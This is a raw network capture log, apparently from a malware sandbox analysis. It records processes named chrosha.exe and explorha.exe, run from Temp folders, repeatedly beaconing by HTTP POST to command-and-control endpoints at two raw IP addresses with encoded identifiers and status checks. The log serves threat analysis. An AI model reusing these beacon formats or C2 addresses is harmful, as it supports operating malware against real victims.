Apr 19, 2024 03:31:38.812623024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.5	50207	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:38.772507906 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:39.020409107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.5	50208	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:39.060906887 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:39.308111906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.5	50209	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:39.385586023 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:39.629930019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.5	50210	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:39.668561935 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:39.917165995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.5	50211	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:39.877302885 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:40.121835947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.5	50212	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:40.182116985 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:40.437736988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.5	50213	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:40.480629921 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:40.729231119 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.5	50214	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:40.803510904 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:41.044143915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.5	50215	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:40.983812094 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:41.235631943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.5	50216	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:41.301429033 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:41.555306911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.5	50217	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:41.602381945 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:41.850049973 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.5	50218	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:41.915607929 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:42.160024881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.5	50219	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:42.108835936 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:42.364526033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.5	50220	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:42.412883043 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:42.661989927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.5	50221	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:42.727035999 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:42.974965096 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.5	50222	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:43.029788971 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:43.274291992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.5	50223	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:43.232500076 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:43.491569042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.5	50224	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:43.526215076 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:43.776519060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.5	50225	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:43.855433941 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:44.104487896 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.5	50226	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:44.135159969 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:44.382802010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.5	50227	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:44.361315012 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:44.615130901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.5	50228	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:44.633128881 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:44.881129980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.5	50229	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

